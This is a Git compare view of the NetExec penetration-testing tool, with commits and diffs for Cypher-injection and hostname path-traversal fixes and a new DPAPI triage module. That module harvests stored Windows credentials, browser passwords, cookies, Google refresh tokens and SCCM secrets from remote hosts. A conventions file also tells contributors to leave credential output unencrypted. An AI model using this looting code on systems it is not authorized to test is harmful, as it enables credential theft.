azoxlpf 130c668de8 Only mark RDP hosts Pwn3d when a real session actually opens 2026-08-05 22:21:57 +02:00
zblurx 395bad514d using function returned values instead of counter 2026-08-02 22:34:48 +02:00
zblurx a34140e7c1 ruff 2026-08-02 22:29:40 +02:00
zblurx 2f11e2f41e few changes related to reviews 2026-08-02 22:22:25 +02:00
Alexander Neff 100f3a1428 Fix dpapi key output in lsa 2026-08-01 17:40:49 -04:00
Alexander Neff 7a8b85406a Merge main 2026-08-01 16:29:44 -04:00
Azox 7ca004be28 Merge branch 'main' into feat/add-schannel
Signed-off-by: Azox <[email protected]>
2026-07-31 15:23:17 +02:00
azoxlpf 5bd45d2ca6 restore Schannel whoami lookup to display the real mapped user 2026-07-30 17:35:06 +02:00
azoxlpf d97907bff8 fix requested changes 2026-07-30 17:21:10 +02:00
zblurx f210749bcb Merge branch 'main' into dpapi_upgrade
Signed-off-by: zblurx <[email protected]>
2026-07-28 10:07:57 +02:00
Goultarde 59778f5b70 Use self.targetDomain for trust key salt derivation 2026-07-26 17:32:06 +02:00
azoxlpf 98ae72fa2c simplify Schannel LDAPConnection call 2026-07-23 09:35:24 +02:00
zblurx 4a235a45b6 remove unused mark 2026-07-22 21:01:58 +02:00
zblurx 2d04789b10 update pvk file reading 2026-07-22 20:54:30 +02:00
zblurx f2cbdc4372 update e2e_commands.txt 2026-07-22 20:44:39 +02:00
zblurx 6b509c402a update pyproject.toml 2026-07-22 20:14:26 +02:00
zblurx fe758a6270 ruff check 2026-07-22 20:11:07 +02:00
zblurx f0047bc321 fix dploot related modules 2026-07-22 20:00:05 +02:00
zblurx f476bf2313 fix mssql dabatase for backupkey 2026-07-22 18:14:12 +02:00
zblurx 2d35724a6e add dpapi for mssql 2026-07-22 17:53:00 +02:00
zblurx 88d0c7bb3f dpapi refacto 2026-07-22 17:25:46 +02:00
zblurx 7ccf5aaddb add dpapi for winrm 2026-07-22 12:48:46 +02:00
zblurx e60d8f1b34 add dpapi for wmi proto 2026-07-22 12:04:46 +02:00
zblurx db422c71b2 update smb proto 2026-07-22 12:04:30 +02:00
azoxlpf 6c59c7a11e Merge remote-tracking branch 'origin/main' into feat/add-schannel 2026-07-22 09:47:32 +02:00
azoxlpf f6e85c809e requested changes 2026-07-22 09:37:10 +02:00
Goultarde 77f6ab4f85 Add e2e tests and update --enabled help text for trust keys 2026-07-18 20:04:25 +02:00
Goultarde 9860c5fded Fix trust key lines disappearing with --enabled
Trust key lines never contain "Enabled"/"Disabled" (they have no account
status), so the --enabled filter silently dropped them entirely. Detect
trust key lines and always show them regardless of --enabled.
2026-07-18 15:25:52 +02:00
Goultarde d96e92d867 Fix trust-keys dump summary messages
--just-trust-keys reused the regular NTDS dump summary ("NTDS hashes",
"added to the database", grep-disabled hint), which is meaningless
when only trust keys are dumped (no accounts are enumerated). Show a
summary specific to that mode instead.
2026-07-18 13:48:52 +02:00
Goultarde dc7e0e432d Add --just-trust-keys to smb ntds dump
Like --trust-keys but skips account enumeration entirely (implied --just-dc
behavior in impacket), emitting only the trust keys. Useful when only the
inter-realm keys are needed, for a faster and quieter dump.
2026-07-18 13:33:11 +02:00
Goultarde dd72a956e6 Add --trust-keys to smb ntds dump
Expose impacket secretsdump's trust key extraction (fortra/impacket#2207)
through NetExec's --ntds: dumps Trusted Domain Object secrets and derives
inter-realm Kerberos (AES256, AES128) and RC4 keys for each trust direction.

Also fixes the account-line status stripping in add_hash(), which blindly
dropped the last space-separated word of every secret line (meant to strip
the trailing "Enabled"/"Disabled" on account lines) and was truncating the
trust key lines, which contain spaces but no status suffix.
2026-07-18 13:00:34 +02:00
Aurélien CHALOT 6b030fce79 typo 2026-07-16 14:03:56 +02:00
Aurélien CHALOT c79f649f9d Add encryption status 2026-07-08 17:43:06 +02:00
Aurélien CHALOT f01876f3f9 Add hash algorithm in the output 2026-07-08 17:22:57 +02:00
Azox 9bd4e8e832 Regenerate poetry.lock after merge with main 2026-06-19 12:32:57 +02:00
Azox c94d00fbc1 resolve conflicts
Signed-off-by: Azox <[email protected]>
2026-06-19 12:18:40 +02:00
Azox 7fcb9b26ae Merge branch 'main' into feat/add-schannel
Signed-off-by: Azox <[email protected]>
2026-06-19 12:14:22 +02:00
azoxlpf 812c63e00b move Schannel auth from schannel_login to plaintext_login 2026-06-18 10:46:18 +02:00
azoxlpf 59c032e4dd Declare cryptography as a direct dependency 2026-06-10 09:51:19 +02:00
azoxlpf e8ad9528f9 add Schannel certificate authentication via --schannel 2026-06-09 09:45:35 +02:00
TristanInSec 09f3f823c6 Address review: make logger required, use .fail() for sanitization warnings 2026-06-06 16:19:38 -04:00
TristanInSec c20060a64a Refactor hostname sanitization into helpers/misc.py
Move the hostname sanitization regex from an inline check in
connection.py into a reusable sanitize_hostname() function in
nxc/helpers/misc.py, and apply it at the source in each protocol's
enum_host_info where hostnames are received from NTLM/server data.

Protocols covered: SMB, WinRM, WMI, MSSQL, RDP.

Addresses review feedback on PR #1243.
2026-06-02 16:49:46 -04:00
Aurélien CHALOT 77f7f19223 Fix e2e 2026-06-02 13:48:03 +02:00
Aurélien CHALOT 262487ba03 Switch --backups to --list-backups 2026-06-02 12:44:12 +02:00
Aurélien CHALOT e2a7b853d7 Remove @requires_admin as it is not 2026-06-02 11:53:10 +02:00
Aurélien CHALOT cfc9123142 Refactor the --database argument to comply with security checks 2026-06-02 11:47:37 +02:00
Aurélien CHALOT 50d9103181 Patch futur reviews from Azox 2026-06-02 11:22:34 +02:00
Aurélien CHALOT 7fed03bd6a Patch futur reviews from Azox 2026-06-02 11:20:32 +02:00
Aurélien CHALOT 2c5abef853 Patch futur reviews from Azox 2026-06-02 11:19:42 +02:00
Aurélien CHALOT b96c7899ee Patch futur reviews from Azox 2026-06-02 11:16:56 +02:00
Aurélien CHALOT 7cad502a16 Add --backups 2026-06-01 17:58:09 +02:00
Aurélien CHALOT 3c7497e728 Factorise SQL request 2026-06-01 17:45:04 +02:00
Aurélien CHALOT 412b97af50 Add e2e test commands 2026-06-01 17:42:22 +02:00
Aurélien CHALOT e7304d9ec9 Add local database hash dump --db-hash 2026-06-01 17:39:07 +02:00
Fabrizzio53 f3a90d9aca Refactor tombstone
refactored the code to return empty sAMAccountName when object does not have this attribute.

removed some variables that were not being used, such as opsec, multiple_host and self.__domain.

removed internal domain to dn function to now use connection.baseDN.

the number of deleted objects should be right now, temporary var is created and incremented for each deleted object found.

Signed-off-by: Fabrizzio53 <[email protected]>
2026-05-26 19:27:43 -03:00
TristanInSec d21ee2d6b1 Merge remote-tracking branch 'upstream/main' into fix/sanitize-ntlm-hostname 2026-05-23 15:54:05 -04:00
TristanInSec ccf36b492e Use display() for sanitization notice so it shows at default verbosity 2026-05-23 15:52:44 -04:00
TristanInSec 9c293a8eb9 Warn when NTLM hostname is sanitized
Log a warning showing the original and sanitized hostname so users
are alerted to potential non-compliant implementations or rogue servers.
2026-05-18 14:42:53 -04:00
TristanInSec 68abd128e6 Sanitize NTLM hostname to prevent path traversal and DoS
Strip non-alphanumeric characters (except hyphens and dots) from
server-provided NTLM hostname before use in file paths or content.

Prevents:
- Path traversal via ../ in hostname (file creation outside ~/.nxc/logs/)
- DoS via null byte (ValueError crash in open())
- DoS via { characters (KeyError crash in str.format())
- Newline injection in --generate-hosts-file output
- Affects: SMB, RDP, VNC, WinRM, MSSQL credential dump and screenshot paths
2026-05-16 16:17:22 -04:00
Fabrizzio53 adfd529593 Removed a typo " in the first example
Removed a typo " in the first example

Signed-off-by: Fabrizzio53 <[email protected]>
2026-04-30 08:49:14 -03:00
Fabrizzio53 a8a94671ea fixed issues pointed on the PR
removed imports that were not being used, remove None returns, put the options at the start of the script and improved on indentation

Signed-off-by: Fabrizzio53 <[email protected]>
2026-04-22 18:37:29 -03:00
Fabrizzio53 fea06fe912 fixed ruff checks
fixed ruff checks

Signed-off-by: Fabrizzio53 <[email protected]>
2026-04-15 19:28:08 -03:00
Fabrizzio53 6512a9801e Removed LDAP3 connection, removed old imports, removed SSL action
Removed the LDAP3 connection and now use impacket with the new CRUD method from the latest merged PR, removed the SSL option since now the first connection is handled by netexec and not ldap3

Signed-off-by: Fabrizzio53 <[email protected]>
2026-04-15 19:12:18 -03:00
Fabrizzio53 a29c162d33 Merge branch 'Pennyw0rth:main' into main 2026-04-15 19:10:24 -03:00
Alex 03c2821c11 Merge branch 'main' into main 2025-11-19 12:05:22 +01:00
Fabrizzio53 664055c7c3 Update e2e_commands.txt
Signed-off-by: Fabrizzio53 <[email protected]>
2025-07-13 20:17:12 -03:00
Fabrizzio53 ac55e28fee update tombstone.py to fix when ntlm is disabled
When netexec impacket gets merged with the most up to date version from fortra this fix will work when a domain disabled ntlm

Signed-off-by: Fabrizzio53 <[email protected]>
2025-07-13 20:16:14 -03:00
Fabrizzio53 74c2cd0c89 Renamed gravedigger.py to tombstone.py and changed the name at the script
Signed-off-by: Fabrizzio53 <[email protected]>
2025-07-13 20:16:14 -03:00
Fabrizzio53 5b1cacf566 Create gravedigger.py
Signed-off-by: Fabrizzio53 <[email protected]>
2025-07-13 20:16:14 -03:00
86 changed files with 4095 additions and 2004 deletions

No files matched your search

+10 -3
View File
@@ -2,10 +2,16 @@
Please include a summary of the change and which issue is fixed, or what the enhancement does.
List any dependencies that are required for this change.
If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted. See the project's AI policy for more details: https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md
### AI Assistance
If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted.
Note that if you have used AI, you:
- MUST test the changes against a live system
- MUST include a screenshot of such a test (e.g. with a before and after screenshot when submitting a bug fix)
- MUST fill out this PR template by hand, see the project's AI policy: [AI_POLICY.md](https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md)
## Type of change
Insert an "x" inside the brackets for relevant items (do not delete options)
Insert an "x" inside the brackets for relevant items
- [ ] Bug fix (non-breaking change which fixes an issue)
- [ ] New feature (non-breaking change which adds functionality)
@@ -16,7 +22,8 @@ Insert an "x" inside the brackets for relevant items (do not delete options)
- [ ] This PR was created with the assistance of AI (list what type of assistance, tool(s)/model(s) in the description)
## Setup guide for the review
Please provide guidance on what setup is needed to test the introduced changes, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions.
Please provide guidance on what setup is needed to test the introduced changes, such as the target(s) you tested against or software versions.
In particular:
- Bug Fix: Please provide a short description on how to trigger the bug, to make the bug reproducable for the reviewer.
- Added Feature/Enhancement: Please specify what setup is needed in order to test the changes, such as:
+1 -1
View File
@@ -10,7 +10,7 @@ jobs:
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"]
python-version: ["3.11", "3.12", "3.13", "3.14"]
steps:
- uses: actions/checkout@v4
- name: NetExec set up python on ${{ matrix.os }}
+1 -1
View File
@@ -14,7 +14,7 @@ jobs:
max-parallel: 5
matrix:
os: [ubuntu-latest]
python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"]
python-version: ["3.11", "3.12", "3.13", "3.14"]
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
- name: Install uv
+1
View File
@@ -36,6 +36,7 @@
# Filesystem and source conventions
- Assume that the underlying operating system and its storage are fully secure. Files and other data produced by NetExec may intentionally contain readable plaintext credentials; do not add encryption, redaction, restrictive permission handling, or permission warnings unless explicitly requested.
- Before opening, creating, writing, renaming, moving, or deleting a file or directory, sanitize every path component derived from untrusted data and verify that the resulting path cannot traverse outside its intended base directory.
- Place every file and directory produced by NetExec under `NXC_PATH` by default, using `TMP_PATH` for temporary artifacts. An explicit user-provided output path or task requirement may override this default.
- `NXC_PATH` defaults to `~/.nxc` but may be overridden by the environment. Import and use `NXC_PATH` or its derived path constants instead of hardcoding `~/.nxc`.
- Place imports at the top of files unless explicitly instructed otherwise.
+11 -37
View File
@@ -14,15 +14,11 @@ from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
from nxc.config import pwned_label
from nxc.helpers.logger import highlight
from nxc.helpers.path import sanitize_path_component
from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError
from nxc.logger import nxc_logger, NXCAdapter
from nxc.context import Context
from nxc.paths import NXC_PATH
from nxc.protocols.ldap.laps import laps_search
from nxc.helpers.pfx import pfx_auth
from impacket.dcerpc.v5 import transport
from impacket.krb5.ccache import CCache
sem = BoundedSemaphore(1)
fail_lock = Lock()
@@ -100,37 +96,6 @@ def requires_admin(func):
return wraps(func)(_decorator)
def dcom_FirewallChecker(iInterface, remoteHost, timeout):
stringBindings = iInterface.get_cinstance().get_string_bindings()
for strBinding in stringBindings:
if strBinding["wTowerId"] == 7:
if strBinding["aNetworkAddr"].find("[") >= 0:
binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[")
bindingPort = "[" + bindingPort
else:
binding = strBinding["aNetworkAddr"]
bindingPort = ""
if binding.upper().find(iInterface.get_target().upper()) >= 0:
stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1]
break
elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0:
stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}"
if "stringBinding" not in locals():
return True, None
try:
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.setRemoteHost(remoteHost)
rpctransport.set_connect_timeout(timeout)
rpctransport.connect()
rpctransport.disconnect()
except Exception as e:
nxc_logger.debug(f"Exception while connecting to {stringBinding}: {e}")
return False, stringBinding
else:
return True, stringBinding
class connection:
def __init__(self, args, db, target):
self.args = args
@@ -181,6 +146,8 @@ class connection:
self.proto_flow()
except FileNotFoundError as e:
self.logger.error(f"File not found error on target {target}: {e}")
except ConnectionRefusedError as e:
self.logger.error(f"Target {target} refused the connection: {e}")
except Exception as e:
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
@@ -249,7 +216,7 @@ class connection:
# Construct the output file template using os.path.join for OS compatibility
base_log_dir = os.path.join(NXC_PATH, "logs")
filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
filename_pattern = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=220)
self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
# Default output filename for logs
self.output_filename = os.path.join(base_log_dir, filename_pattern)
@@ -557,6 +524,7 @@ class connection:
if self.args.use_kcache:
self.logger.debug("Trying to authenticate using Kerberos cache")
with sem:
from impacket.krb5.ccache import CCache
username = self.args.username[0] if len(self.args.username) else CCache.parseFile()[1]
password = self.args.password[0] if len(self.args.password) else ""
self.kerberos_login(self.domain, username, password, "", "", self.kdcHost, True)
@@ -565,14 +533,20 @@ class connection:
if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert:
self.logger.debug("Trying to authenticate using Certificate pfx")
if self.args.protocol == "ldap" and self.args.schannel:
# Schannel maps the certificate to an account server-side, so the supplied username is ignored
with sem:
return self.plaintext_login(self.domain, "", "")
if not self.args.username:
self.logger.fail("You must specify a username when using certificate authentication")
return False
with sem:
from nxc.helpers.pfx import pfx_auth
return pfx_auth(self)
if hasattr(self.args, "laps") and self.args.laps:
self.logger.debug("Trying to authenticate using LAPS")
from nxc.protocols.ldap.laps import laps_search
username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)
cred_type = ["plaintext"]
if not (username[0] or secret[0] or domain[0]):
+5 -5
View File
@@ -43,7 +43,7 @@ def add_user_bh(user, domain, logger, config):
with driver.session().begin_transaction() as tx:
for user_info in users_owned:
distinguished_name = "".join([f"DC={dc}," for dc in user_info["domain"].split(".")]).rstrip(",")
domain_query = tx.run(f"MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH '{distinguished_name}' RETURN d").data()
domain_query = tx.run("MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH $distinguished_name RETURN d", distinguished_name=distinguished_name).data()
if not domain_query:
logger.debug(f"Domain {user_info['domain']} not found in BloodHound. Falling back to domainless query.")
_add_without_domain(user_info, tx, logger)
@@ -68,14 +68,14 @@ def _add_with_domain(user_info, domain, tx, logger):
user_owned = f"{user_info['username']}@{domain}"
account_type = "User"
result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) RETURN c").data()
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) RETURN c", user_owned=user_owned).data()
if len(result) == 0:
logger.fail("Account not found in the BloodHound database.")
return
if result[0]["c"].get("owned") in (False, None):
logger.debug(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name")
result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) SET c.owned=True RETURN c.name AS name", user_owned=user_owned).data()[0]
logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")
@@ -87,7 +87,7 @@ def _add_without_domain(user_info, tx, logger):
user_owned = user_info["username"]
account_type = "User"
result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH '{user_owned}' RETURN c").data()
result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH $user_owned RETURN c", user_owned=user_owned).data()
if len(result) == 0:
logger.fail("Account not found in the BloodHound database.")
@@ -97,5 +97,5 @@ def _add_without_domain(user_info, tx, logger):
return
elif result[0]["c"].get("owned") in (False, None):
logger.debug(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name")
result = tx.run(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) SET c.owned=True RETURN c.name AS name", user_owned=result[0]["c"]["name"]).data()[0]
logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")
+461
View File
@@ -0,0 +1,461 @@
from dploot.lib.network.smb import SMBTarget, DPLootSMBConnection
from dploot.lib.target import Target
from dploot.triage.backupkey import BackupkeyTriage
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie
from dploot.triage.cng import CngTriage
from dploot.triage.credentials import CredentialsTriage
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file, Masterkey
from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
from dploot.triage.vaults import VaultsTriage
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
from nxc.helpers.logger import highlight
def upgrade_to_dploot_connection(target, connection):
"""
DPLootConnection classes implements a whole lot of stuff to handle the DPAPI part.
This function gets the calling NXC protocol and tries reuse the already opened connection
on DPLoot directly. If not it opens up a new connection.
"""
conn = None
protocol = target.protocol
try:
match protocol:
case "smb":
from dploot.lib.network.smb import DPLootSMBConnection
conn = DPLootSMBConnection(target)
if connection is not None:
conn.smb_session = connection.conn
else:
conn.connect()
case "wmi":
from dploot.lib.network.wmi import DPLootWMIConnection
conn = DPLootWMIConnection(target)
if connection is not None:
conn.dcom = connection.dcom_conn
conn.iWbemLevel1Login = connection.iWbemLevel1Login
else:
conn.connect()
case "winrm":
from dploot.lib.network.winrm import DPLootWINRMConnection
conn = DPLootWINRMConnection(target)
if connection is not None:
conn.conn = connection.conn
else:
conn.connect()
case "mssql":
from dploot.lib.network.mssql import DPLootMSSQLConnection
conn = DPLootMSSQLConnection(target)
if connection is not None:
conn.conn = connection.conn
except Exception as e:
connection.logger.debug(e)
return None
return conn
class DPAPITriage:
"""
DPAPI engine in NetExec. Each protocol supporting DPAPI needs to implement this class.
Since multiple NXC functionalities now implements DPAPI related secret recovery, this class aims to centralize
it in order to ease implemented and maintaining DPAPI functionalities is NXC protocols, but also
to avoid dumping masterkeys X times from the same target, loading the domain backup keys X times, etc.
To implement this class in a protocol, use a @property decorator on dpapi_triage like so:
```
@property
def dpapi_triage(self) -> DPAPITriage:
if self._dpapi_triage is not None:
return self._dpapi_triage
target = <dploot target creation>
self._dpapi_triage = DPAPITriage(self, target)
return self._dpapi_triage
```
This way, every DPAPI related module will automaticaly work with the protocol
"""
def __init__(self, connection, target: Target):
self.connection = connection
self.target = target
self.conn = None
self.dump_cookies = False
self.masterkeys = []
self._pvkbytes = None
# Keep track of writing secrets in file
self.output_file = self.connection.output_file_template.format(output_folder="dpapi")
self.secrets_counter = 0
if connection.args.dpapi is not None:
self.dump_cookies = "cookies" in connection.args.dpapi
# Variables to know what materkey types have already been dumped
self.system_masterkeys_already_dumped = False
self.users_masterkeys_already_dumped = False
# Initialize the connection here, if you need this class then you will need the connection
self.init_connection()
def __del__(self):
# When everything is finished, then we give the feedback to the user
if self.output_file is not None and self.secrets_counter > 0:
self.connection.logger.success(f"Dumped {highlight(self.secrets_counter)} DPAPI secrets to {self.output_file}")
def log_secret(self, line, logger=None):
# Handle the secret counter here, avoid to handle it in multiple places
if logger is None:
logger = self.connection.logger
logger.highlight(line)
with open(self.output_file, "a", encoding="utf-8") as fd:
self.secrets_counter += 1
fd.write(line + "\n")
def init_connection(self):
"""Tries to initiate a DPLootConnection object from a NXC connection"""
if self.conn is not None:
self.connection.logger.debug("DPLoot connection already initiated, skipping.")
return
self.conn = upgrade_to_dploot_connection(connection=self.connection, target=self.target)
if self.conn is None:
self.connection.logger.fail("Could not upgrade connection to allow DPAPI triage")
return
def collect_masterkeys_from_target(self, dump_users: True, dump_system: False):
"""
Get and decrypt masterkeys from the target.
dump_users: If True, then user masterkeys will be collected if they have not already been
dump_system: If True, then system masterkeys will be collected if they have not already been
"""
# If we have already dumped everything, then we won't find new stuff
if self.users_masterkeys_already_dumped and self.system_masterkeys_already_dumped:
return self.masterkeys
masterkeys = []
plaintexts = {}
nthashes = {}
# First, check and handle the mkfile arg
if self.connection.args.mkfile is not None:
try:
masterkeys += parse_masterkey_file(self.connection.args.mkfile)
except Exception as e:
self.connection.logger.fail(str(e))
# Then, use nxcdb to fill wordlists, this can help to decrypt some masterkeys
if dump_users:
users = self.conn.list_users()
plaintexts = {username: password for _, _, username, password, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="hash")}
# dploot matches user.lower()
if self.connection.password != "":
plaintexts[self.connection.username.lower()] = self.connection.password
if self.connection.nthash != "":
nthashes[self.connection.username.lower()] = self.connection.nthash
# Now prepare the SYSTEM part
if (dump_system
and self.connection.dpapi_system_key is None
and hasattr(self.connection, "lsa")
and callable(self.connection.lsa)):
# We can use the protocol specific LSA dump if not already dumped.
# But first, just making sure the protocol supports LSA dump :)
self.connection.logger.display("Dumping LSA secrets to get DPAPI SYSTEM keys")
self.connection.lsa(quiet=True)
if self.connection.dpapi_system_key is not None:
self.connection.logger.highlight(f"dpapi_machinekey:{self.connection.dpapi_system_key['MachineKey'].hex()}")
self.connection.logger.highlight(f"dpapi_userkey:{self.connection.dpapi_system_key['UserKey'].hex()}")
else:
self.connection.logger.fail("Could not get DPAPI SYSTEM keys")
# Invoke MasterkeyTriage class
try:
masterkeys_triage = MasterkeysTriage(
target=self.target,
conn=self.conn,
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem=self.connection.dpapi_system_key,
)
self.connection.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
# Collect User Masterkeys if this has not already been done
if dump_users and not self.users_masterkeys_already_dumped:
self.connection.logger.display("Collecting DPAPI Users masterkeys")
masterkeys += masterkeys_triage.triage_masterkeys()
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
self.users_masterkeys_already_dumped = True
# Collect SYSTEM Masterkeys if this has not already been done
if self.connection.dpapi_system_key is not None and not self.system_masterkeys_already_dumped:
self.connection.logger.display("Collecting DPAPI SYSTEM masterkeys")
masterkeys += masterkeys_triage.triage_system_masterkeys()
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
self.system_masterkeys_already_dumped = True
except Exception as e:
self.connection.logger.debug(f"Could not get masterkeys: {e}")
self.masterkeys += masterkeys
# If we decrypted new masterkeys, print the message
if len(masterkeys) > 0:
self.connection.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. ")
return self.masterkeys
def triage_credentials(self, masterkeys: list[Masterkey]):
# Collect User and Machine Credentials Manager secrets
def credential_callback(credential):
tag = "CREDENTIAL"
line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
tag,
credential.winuser,
credential.username,
credential.password,
credential.target,
)
try:
credentials_triage = CredentialsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_credential_callback=credential_callback)
self.connection.logger.debug(f"Credentials Triage Object: {credentials_triage}")
credentials_triage.triage_credentials()
credentials_triage.triage_system_credentials()
except Exception as e:
self.connection.logger.debug(f"Error while looting credentials: {e}")
def triage_chromium(self, masterkeys: list[Masterkey]):
cng_chromekey = None
# We need the CNG triage to recover Chrome passwords since Chrome v137
try:
cng_triage = CngTriage(target=self.target, conn=self.conn, masterkeys=masterkeys)
for cng_file in cng_triage.triage_system_cng():
if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
self.connection.logger.debug("Found CNG Google ChromeKey1\n")
cng_chromekey = cng_file.decrypted_private_key
except Exception as e:
self.connection.logger.debug(f"Error while getting CNG ChromeKey1: {e}")
# Collect Chrome Based Browser stored secrets
def browser_callback(secret):
if isinstance(secret, LoginData):
secret_url = secret.url + " -" if secret.url != "" else "-"
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
secret.browser.upper(),
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, GoogleRefreshToken):
line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
secret.browser.upper(),
secret.winuser,
secret.service,
secret.token,
"Google Refresh Token",
)
elif isinstance(secret, Cookie):
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}"
self.log_secret(line)
try:
browser_triage = BrowserTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=browser_callback)
browser_triage.triage_browsers(gather_cookies=self.dump_cookies, cng_chromekey=cng_chromekey)
except Exception as e:
self.connection.logger.debug(f"Error while looting browsers: {e}")
def triage_vaults(self, masterkeys: list[Masterkey]):
def vault_callback(secret):
tag = "IEX"
if secret.type == "Internet Explorer":
resource = secret.resource + " -" if secret.resource != "" else "-"
line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
tag,
secret.winuser,
secret.username,
secret.password,
secret.resource,
)
try:
# Collect User Internet Explorer stored secrets
vaults_triage = VaultsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_vault_callback=vault_callback)
vaults_triage.triage_vaults()
except Exception as e:
self.connection.logger.debug(f"Error while looting vaults: {e}")
def triage_firefox(self):
def firefox_callback(secret):
tag = "FIREFOX"
if isinstance(secret, FirefoxData):
url = secret.url + " -" if secret.url != "" else "-"
line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
tag,
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, FirefoxCookie):
line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}"
self.log_secret(line)
try:
# Collect Firefox stored secrets
firefox_triage = FirefoxTriage(target=self.target, logger=self.connection.logger, conn=self.conn, per_secret_callback=firefox_callback)
firefox_triage.run(gather_cookies=self.dump_cookies)
except Exception as e:
self.logger.debug(f"Error while looting firefox: {e}")
# The dpapi function for every protocol
def triage_dpapi(self):
# Load masterkeys
masterkeys = self.collect_masterkeys_from_target(dump_users=True, dump_system="nosystem" not in self.connection.args.dpapi)
if len(masterkeys) == 0:
# Nothing will be recovered if no masterkeys, so we can stop there
self.connection.logger.fail("No masterkeys looted")
return
self.connection.logger.success("Looting secrets...")
# Calling all the triage functions. We can add other triage functions here
self.triage_credentials(masterkeys)
self.triage_chromium(masterkeys)
self.triage_vaults(masterkeys)
self.triage_firefox()
def triage_sccm(self):
masterkeys = self.collect_masterkeys_from_target(dump_users=False, dump_system=True)
if len(masterkeys) == 0:
self.connection.logger.fail("No masterkeys looted")
return
self.connection.logger.success("Looting SCCM Credentials")
def sccm_callback(secret):
if isinstance(secret, SCCMCred):
tag = "NAA Account"
line = f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
f"SCCM - {tag}",
"SYSTEM",
secret.username.decode("latin-1"),
secret.password.decode("latin-1"),
"N/A",
)
elif isinstance(secret, SCCMSecret):
tag = "Task sequences secret"
line = f"[{tag}] {secret.secret.decode('latin-1')}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
f"SCCM - {tag}",
"SYSTEM",
"N/A",
